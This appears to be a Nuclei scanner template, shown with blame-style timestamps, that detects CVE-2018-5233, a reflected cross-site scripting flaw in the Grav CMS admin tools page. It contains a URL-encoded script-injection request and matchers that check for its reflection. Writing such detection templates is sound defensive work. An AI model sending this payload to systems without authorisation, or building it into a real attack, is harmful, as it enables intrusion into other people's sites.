2021-07-27 09:03:59 +00:00
id : CVE-2018-5233
info :
name : Grav CMS before 1.3.0 allows XSS.
author : pikpikcu
severity : medium
description : |
Cross-site scripting (XSS) vulnerability in system/src/Grav/Common/Twig/Twig.php in Grav CMS before 1.3.0 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
2022-04-22 10:38:41 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2018-5233
2022-05-17 09:18:12 +00:00
- https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
- http://www.openwall.com/lists/oss-security/2018/03/15/1
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-5233
cwe-id : CWE-79
2022-04-22 10:38:41 +00:00
tags : cve,cve2018,xss,grav
2021-07-27 09:03:59 +00:00
requests :
- method : GET
path :
2021-08-02 16:55:21 +00:00
- "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2021-07-27 09:03:59 +00:00
matchers-condition : and
matchers :
- type : word
words :
2021-08-02 16:55:21 +00:00
- '</script><script>alert(document.domain)</script>'
2021-07-27 09:03:59 +00:00
part : body
- type : status
status :
- 200
- type : word
part : header
words :
- text/html